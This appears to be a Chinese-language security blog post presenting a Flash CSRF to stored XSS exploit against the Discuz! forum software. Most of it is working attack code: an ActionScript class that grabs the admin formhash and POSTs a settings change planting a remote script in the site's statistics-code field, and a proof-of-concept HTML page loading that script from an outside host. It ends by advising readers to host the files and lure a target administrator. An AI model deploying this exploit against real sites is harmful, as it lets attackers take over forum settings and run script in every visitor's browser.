Discuz! Flash CSRF To Stored XSS

Discuz! 的 crossdomain.xml 一直是个大问题,默认的 crossdomain.xml 如下:

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="*" />
</cross-domain-policy>

这里,allow-access-from domain 被设置成了 * ,意味着任意站点的 flash 文件都可以对 dz 站点发起 http 请求。

而 discuz 后台的操作只验证了 referer 头(因为 flash 可以进行 http 请求,所以对 token 的验证可以 bypass ),referer 头可以通过从 https 站点向 http 站点访问绕过。更有甚者,有一些神奇的插件,使得我们可以访问到上传到 discuz 站点的 flash 文件,直接免去了 referer 头的问题。

后台的 “全局 - 站点信息 - 网站第三方统计代码” 处,可以通过 script 标签引入 js,前台访问直接触发,相当于构造了一枚完美的存储型 xss。

以上 3 点,导致了 flash csrf 向存储型 xss 的转变。

首先,编写用于发送请求的 flash,as3 代码如下:

package
{
        import flash.display.Sprite;
        import flash.events.Event;
        import flash.external.ExternalInterface;
        import flash.net.URLLoader;
        import flash.net.URLRequest;
        import flash.net.URLRequestMethod;

        public class discuz extends Sprite
        {
                var url:String = root.loaderInfo.parameters["url"];
                var scriptSrc:String = root.loaderInfo.parameters["src"];

                public function discuz()
                {
                        var urlHash:String = url + "admin.php?action=setting&operation=basic";
                        get(urlHash);
                }

                private function get(url):void {
                        /*HTTP GET
                        *@url, 要请求的 URL
                        */
                        var loader:URLLoader = new URLLoader();
                        loader.addEventListener(Event.COMPLETE, getFormHash);
                        var request:URLRequest = new URLRequest(url);
                        loader.load(request);
                }

                private function post(url, data):void {
                        /*HTTP POST
                        *@url, 要请求的 URL
                        *@data, POST 的数据
                        */
                        var loader:URLLoader = new URLLoader();
                        var request:URLRequest = new URLRequest(url);
                        request.method = URLRequestMethod.POST;
                        request.data = data;
                        loader.load(request);
                }

                private function getFormHash(event:Event):void
                {
                        // 获取formhash 后回调,写 js.
                        var loader:URLLoader = URLLoader(event.target);
                        var pattern:RegExp = /<input type="hidden" name="formhash" value="(\w{8})" \/>/;
                        var formhash = pattern.exec(loader.data)[1];
                        var urlPost:String = url + "admin.php";
                        var script = "<script src='" + scriptSrc +"'></script>";
                        var data = "action=setting&edit=yes&formhash="+formhash+"&scrolltop=%0d&anchor=%0d&operation=basic";
                        data += "&settingnew%5bbbname%5d=Discuz%21+Board&settingnew%5bsitename%5d=Comsenz+Inc.&settingnew%";
                        data += "5bsiteurl%5d=http%3a%2f%2fwww.comsenz.com%2f&settingnew%5badminemail%5d=admin@admin.com&s";
                        data += "ettingnew%5bsite_qq%5d=%0d&settingnew%5bicp%5d=%0d&settingnew%5bboardlicensed%5d=0&settin";
                        data += "gnew%5bstatcode%5d="+script+"&settingnew%5bbbclosed%5d=0&settingnew%5bclosedreason%5d=%0d";
                        data += "&settingnew%5bclosedallowactivation%5d=0&settingsubmit=%cc%e1%bd%bb";
                        post(urlPost, data);
                }
        }
}

利用页面 poc.html:

<html>
<head>
    <title>FlashCSRF POC</title>
</head>
<body>
        <h1>Hacked by Chu</h1>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="500" height="500" id="FlashVars" align="middle"/>
        <paramname="allowScriptAccess" value="always"/>
        <paramname="movie" value="http://localhost/discuz.swf" />
        <paramname="FlashVars" value="url=http://localhost/dz3/&src=http://sh3ll.me/1.js"/>
        <paramname="quality" value="high" />
        <embed src="http://localhost/discuz.swf" quality="high" bgcolor="#ffffff" width="500" height="500" name="FlashVars" align="middle" allowScriptAccess="always" FlashVars="url=http://localhost/dz3/&src=http://sh3ll.me/1.js" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"/>
    </object/>
</body>
</html>

然后,只要我们把这两个文件放在 https 服务器上,诱使目标访问即可,为了演示攻击效果,我做了个 gif 图片(图片有点大,耐心等待 :D):